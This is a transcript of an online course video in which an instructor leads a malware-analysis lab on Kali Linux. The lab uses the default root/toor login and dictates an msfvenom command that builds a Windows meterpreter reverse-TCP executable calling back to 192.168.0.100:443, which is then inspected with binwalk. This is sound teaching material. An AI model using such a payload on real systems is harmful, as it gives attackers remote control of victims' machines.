>> Hey everyone, welcome back to the course.
In the last video, we went ahead
and wrapped up our discussion on malware.
We talked about things like viruses, worms.
We also talked about rootkits,
which will actually do in one of
>> our labs in this course.
>> We went ahead and talk about things like ransomware,
which is popular in the news as well.
In this video, we're going to start our first lab.
Both of the labs in this course
are going to be just analyzing malware,
so just using different techniques
to take a look at some malware.
Now I do want to forewarn you that in
the next lab, the rootkit lab,
it is using an older rootkit,
but the rationale behind that is to
help you understand the fundamentals.
In this video, we're going to go ahead and
start our lab on analyzing malware.
What we're going to do is create a malicious file,
and then we're going to go ahead and do some
different methods to analyze it.
Before we get started,
I want to mention that in
the resources section in the course,
you can find these step-by-step downloadable guides.
These are step-by-step guides
to walk you through the lab.
If you find that in this video,
I go too fast or too slow for you,
feel free to watch the video,
get the holistic view of how the labs going to work,
and then go ahead and download
the lab guide and walk through it on your own.
Let's go ahead and get started. Now you
should be logged in to
the Cybrary site already
if you're able to view this course.
The next thing you want to do is search in
the catalog for the analyzing classify Malware labs.
We search for analyze and classify,
that should pull it up for
us and you'll see there'll be this
one right here. Go ahead and click on that.
Next step we want to do is click the launch button,
and then we'll select the launch item button at
this next screen here [NOISE].
Now it might take a minute or two
to go ahead and launch the lab.
I'm going to briefly pause the video
while it launches the lab.
Once the lab boots all the way up,
the next thing we want to do is log in
to our Kali Linux machine.
The way we do that is we're going to use a username of
root in the password of toor,
so it's T-O-O-R,
and both of these are all lowercase.
All we have to do is
click on this other option right here,
that'll give us the login screen.
We type in root, [NOISE] either click
Login or just press Enter on
your keyboard and then T-O-O-R,
all lowercase and same thing there.
It'll pull up the Kali desktop for us.
Now once the Kali desktop pulls up,
we want to launch a terminal.
The way we do that on this particular Kali instance
is we're going to select this little black box
at the top of the screen,
that's going to be the terminal.
Just go ahead and select that there,
that's going to open the terminal window
for us and give us the prompt.
Now we have a pretty long command we're going to enter
>> into to actually create the malicious file in this lab.
>> It's going to be this command right here.
We're going to be typing in
msf venom or lowercase a, space, dash, lowercase x
>> and then the number is 86 altogether.
>> We're going to put another space and then
a dash in lowercase platform,
space, windows, space, dash lowercase p,
and then you see the rest there.
Let's go ahead and just get typing that
in that'll take us just a moment here.
[NOISE]. We'll go ahead and type that in,
so it's going to be msfvenom -a
x86 -platform
windows
-p
>> windows/meterpreter/reverse_TCP.
>> We're basically just creating a reverse shell.
We're going to put another space
and then these are going to be capitalized.
L host the equal sign and then our IP address,
we got to specify the host IP address.
192.168.0.100,
we'll put another space and
then we're going to specify the port number.
L port all caps again,
the equal sign and then HTTPS.
We're going to specify that with
443, which is the port number.
Next we're going to put a space dash lowercase f space,
lowercase exe, space dash lowercase o space.
Then finally malicious file.exe.
Malicious file.exe.
That's all going to be together.
When you type that in, double-check yourself,
sometimes you might put an extra dash
or something like that in there.
Go ahead and double-check yourself.
Then once you've done that,
press the ''Enter'' key to go ahead and
run this command to create the file.
Now it might take a couple of minutes
to create this file so just
pause the video and let it create
>> the file on your side.
>> You see on my end it's gone ahead
and created the malicious file.
Again, yours might take a few minutes,
so just be patient with it
>> and it should create the file.
>> Now if it doesn't give you this
saved as a malicious file.exe.
If you don't see that if he gets some error message,
it's probably in the syntax.
Go ahead and double-check
>> the command as you've typed it,
>> make sure you type everything correctly.
Now we can also verify that this file has been
created by just using the LS command.
Just listing the files.
If we go ahead to our prompt here and type in LS,
we'll see that malicious file.txt does exist.
I like to always clear when
I'm typing in commands in Linux,
I always like to use the clear command
just to make it a little prettier on my screen.
You don't have to do this step if you don't want to.
Just go ahead and type in clear there.
Let's go back to our step-by-step lab guide here.
We've gone ahead and here in step 7
we enter that command
>> and we created our malicious file.
>> We just searched for it using the list command.
We noticed that yes, it is
created and hopefully it is on your end as well.
If not, pause the video,
make sure you're typing in things
correctly and go ahead and get
that file created because you
will need it for the rest of the lab.
I went ahead and typed in the
clear command is to clear up
my terminal to make it a little prettier on my side.
You don't have to do step 9 is not a requirement,
but I have it in there just to help you
make it a little clearer as you're typing in commands.
If we go down here to step number 10,
we're going to go ahead and just scan
this file for common signatures.
Now, I do want to stress that in this lab,
we're doing very basic stuff here.
If you're out there and you're trying to grab a piece
of malware offline someplace,
you may not be able to analyze it this way.
You may have to get creative,
but we're going to go through the basics here in
this course and just give you
the fundamentals so you can build up on that.
In step 10, we're going to type in lowercase,
been walk, space,
a dash and a capital B,
and then the name of our malicious file.
In this case we've named it malicious file.exe.
That's it. Then we're going to take a look and
see if we see any signatures at all.
We do see signatures now,
signatures for malware or
for files are not going to be the
same as like your eyes
signing our name on something, right.
It's not going to look like somebody's sign name,
it's going to be hexadecimal
or something equivalent to give us that signature.
We see here that we do have some malicious signatures
found and these are things that should be known.
These are things we
find because we're using an older type of file.
Next, we're going to go to Step 11
and our step-by-step guide here.
Step 11, we're just going to enter in this command.
We're going to take a look at the output that we get.
We're just going to type in bin walk again,
which is a tool that we're using to analyze this space,
dash, the number three,
and then again the same filename.
Malicious file.exe.
Just go ahead and run that there.
It might take a moment or so to
go ahead and run that command.
That's just going to give us some basic
information and it's going to
give us a visualization of this particular file.
If you've got a side-by-side comparison,
you could take this image here
and maneuver it around and see if
it looks the same as the one you're
analyzing or that you've analyzed in the past.
I'm a Star Trek fan,
so I see this and I say,
that's the Borg ship,
anyways, I digress.
In this video, we've gone
ahead and we've created a malicious file.
We've run a couple of commands to look at it.
Number 1, we looked at if there's
any malicious signatures with the file,
as well as we got a visualization of it.
Once you're done visualizing this here,
just go ahead and exit out of that.
That'll close that and you'll be back at
the terminal prompt here.
Now in the next video,
we're going to go ahead and wrap up the labs and
we've got a couple of more commands.
We're going to take a look for opcodes.
We're also going to run an ExifTool and just
see what kind of information we get back along with
hashing this particular file as well.